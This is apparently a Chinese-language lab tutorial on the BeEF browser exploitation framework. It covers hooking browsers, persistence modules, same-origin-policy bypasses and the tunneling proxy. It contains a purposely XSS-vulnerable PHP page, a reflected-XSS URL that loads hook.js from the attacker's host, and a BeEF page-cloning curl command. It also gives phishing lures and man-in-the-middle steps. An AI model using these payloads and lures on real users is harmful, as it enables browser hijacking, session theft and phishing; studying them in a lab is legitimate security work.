0%

浏览器攻击框架beef

  • BeEF 框架

    • 介绍

      Ruby 中内置的框架,用于评估浏览器的安全性

      创造一个链接来连接浏览器,链接通常是 JS 编写的 hook ,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送 JS 命令,浏览器再将回应返给攻击者

      其发送的是 web 请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了 JS 挂钩,那么攻击者对浏览器活动就有很高的权限

      这个 kali 里面也是有内置的,但笔者建议把内置的删掉再安装最新的

      1
      2
      3
      4
      apt-get purge --auto-remove beef
      apt-get purge --auto-remove beef-xss
      git clone https://github.com/beefproject/beef
      ./install

      然后去 config.yaml 中更改默认密码

    • 使用

      ./beef 启动

      ./beef -x 清理数据库

      • beef 控制台使用

        http://127.0.0.1:3000/ui/panel 中访问图形化界面

        点击箭头处链接浏览器就会上线,可以在左边栏看到

        对于 Command 模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效

      • 挂钩浏览器

        无论是反射型 xss 或者 arp 欺骗,最终目的都是让目标浏览器访问/加载 beefhook 页面 http://127.0.0.1:3000/demos/basic.html

        • 以基本的反射型 xss 为例

          首先需要一个易受 xss 攻击的网站,新建一个 php 页面,代码如下

          1
          2
          3
          <HTML> <BODY> <FORM>
          <INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
          <INPUT TYPE=SUBMIT> </BODY></HTML>

          那么靶机访问 http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22 则会成功链接

        • ettercap DNS 欺骗

          欺骗到 beef 生成的钩子地址上即可

        • 自动注入挂钩

          借助 beef injection framework 自动重写 web 流量使其包含挂钩

          1
          git clone https://github.com/SpiderLabs/beef_injection_framework
      • 获取指纹实践

        • 浏览器指纹

          command-browser-fingerprint

        • 用户指纹

          包括浏览器存储的 cookie ,用户会话历史,综合以上信息可知到用户常访问的网站类型

          beef 高级演示页面来演示

          即靶机访问 [IP]:3000/demos/butcher/index.html

          在下方填入的信息即便不提交,也可以在 beef 中使用 command-browser-get form value 查看到

接下来跟着这位来复现一遍操作

  • 初始化控制

    • XSS

      在真实环境中,对于 beef 这种需要加载远程 jsXSS 攻击,存在一种更优的防御方法,即 CSP ,内容安全策略。其同于检测并削弱某些特定类型攻击。

      CSP 规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行 jseval() 函数,如

      1
      <meta http-equiv="Content-Security-Policy" content="default-src 'self' ">

      该段指令让浏览器仅加载同源资源,以防止异源的 beef 攻击

    • 有安全漏洞的 Web 应用

    • 广告网路
    • 社工

      • 网站搭建

        使用 beef 自带的 Web 克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在 beef 被关闭后被销毁

        1
        2
        3
        curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]

        curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86

        搭建成功后发现僵尸不上线,查看网站源码,发现是 js 地址错误

        到配置文件 config.yaml

        改成本机的 IP 即可,随后重启服务

      • 诱饵

        • 钓鱼邮件

          需要模糊,缩短 url,并设计自己的邮件系统

        • 物理诱惑

          html 文件的u盘

        • QR code

          感觉是最为保险的手段

    • 中间人攻击

      此类攻击仅当和受害者在同一网络下才可进行,考虑用 aircrack-ng 破解 wifi 密码

      这里使用 mitmproxy ,顺便记录一下使用时的问题

      • 安装

        • 报错 1

          1
          2
          raise ValueError(f'mutable default {type(f.default)} for field '
          ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory

          解决方案是更新 apt 源并更新 mitmproxy ,大概原因是 kali 内置的版本过老,不支持本机的 python3.11

          1
          2
          apt update
          apt-get install mitmproxy
        • 报错 2

          1
          AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?

          应该是 pyOpenSSL 的问题,更新一下

          1
          pip3 install mitmproxy

          但又遇到了 pip3 报错

          1
          error: externally-managed-environment

          我搜到的解决方案是使用

          1
          pip3 install mitmproxy --break-system-packages
      • 使用

        在新版的 mitmproxy-R 参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入

        (哭哭

  • 持续控制

    初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间

    持续控制分为两种:持久通信,beef 服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面

    • 持久通信

      • CORS 跨域资源共享

        其扩展了同源策略的限制,允许页面读取来自其他来源的 http 响应,即 beef 发送的命令对于浏览器一定是异源的,故其发送的每个 http 头部都包含:

        1
        2
        Access-Control-Allow-Origin: *
        Access-Control-Allow-Methods: POST, GET

        以允许来自任意地方的 post/get 请求

      • 开启 Websocket 通信

        其速度快于 beef 默认使用的 XMLHTTPRequest ,但其不适用于低版本的浏览器: IE>=10 , Firefox>=16.0 , chrome>=23.0

        在默认下,kali 中其配置文件位于 /usr/share/beef-xss/config.yaml

        做出如下修改

        1
        2
        3
        # Prefer WebSockets over XHR-polling when possible.
        websocket:
        enable: true

        beef 会根据浏览器版本自动选择是否使用 websocket

    • 持久存续

      • 内嵌 iframe 框架

        persistence-Create foreground iFrame 模块,不需任何参数即可执行,在僵尸浏览器上创造一个 100%iframe

        在用户点击一个新界面时代码生效

        其弊端是顶部的 url 栏不会改变,如图

        而对于使用 js 渲染的页面则会出现页面混乱,点击无效等情况

      • MitB 浏览器中间人

        与中间人攻击不同,不需要处在同一网络下。Persistence-Man In The Browser 模块在僵尸浏览器中用 js 自动截获/发送 http 的内容,并异步展现给用户

        在用户正常访问的同时能保持钩子

        其弊端也很明显,即不能打开图片

        以及对于 js 制作的跨域链接,由于 MitB 实现原理缺陷导致其无法控制新页面

        注意 MitBiframe 只能使用一种

      • 窗口事件处理

        Persistence-Confirm Close Window 不断弹出如下窗口

        但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现

        firefoxchrome 只有在关闭浏览器时才会有弹窗; 360 在关闭当前页面或关闭浏览器时都会有弹窗; QQ 点击关闭当前页面之后,它会打开一个新标签页去加载BeEF 服务器的 demo 页面;搜狗全部都没有弹窗。

        如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用

      • 动态底层弹出窗口

        Persistence-Create Pop Under 可以在用户点击链接时弹出一个指向 beef 初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响

        弊端是如此只能弹出 beef 窗口,会导致用户察觉,而且笔者这里用 chrome 复现失败

  • 绕过同源策略与浏览器代理

    • SOPDOM 文档对象模型

      浏览器同源策略,限制不同源的交互,致使 beef 仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用 Web 的特性,这里介绍后者

      当子域之间需要相互访问时,如 login.site.com 需要访问 admin.site.com 的表单,开发者会在 admin.site.com 所在页面加入如下 js

      1
      document.domain="site.com"

      那么 site.com 下所有子域都可以访问 admin.site.comDOM

      那么当 beef 钩住 test.site.com ,可以查找具有此类的页面,从而小范围绕过 SOP 的限制

    • SOPCORS

      与上文类似的,由于 Web 开发者错误的设置导致可以进行跨域资源共享,在子站 test.site.com 加入以下代码

      1
      2
      Access-Control-Allow-Origin: *.site.com
      Access-Control-Allow-Methods: OPTIONS, GET, POST

      会导致 site.com 的所有子站都可以访问 test.site.com 的资源

    • Tunneling Proxy 浏览器代理

      beef 中极为强大的一个功能

      对于被钩住的僵尸浏览器 A 以及被钩住的域 hook-domain.com ,攻击浏览器 B :

      B 通过 beef 发送 http 请求,转为 AJAX 请求插入僵尸浏览器 B 随后要执行的 js 脚本中,浏览器 B 向域 hook-domain.com 发送一个 AJAX 请求,且请求带上了该网站的 cookie ,域返回的请求则会被钩子截取并返回给攻击浏览器 A ,而不会显示在浏览器 B

      完成这个实验需要三个不同的浏览器,僵尸浏览器 A ,攻击者浏览器 B 用于登录 beef 服务器,攻击者浏览器 C 用于使用代理,三者不共享数据

      先去 extensions/proxy/config.yaml 确保 enabletrue

      对于被钩住的浏览器 B 选择 Use as proxy

      如此, beef 所在主机的 6789 端口就是一个代理

      使用 firefox -P 打开另一个不共享数据的浏览器

      将其代理设为 127.0.0.1 port:6789 与配置文件保持统一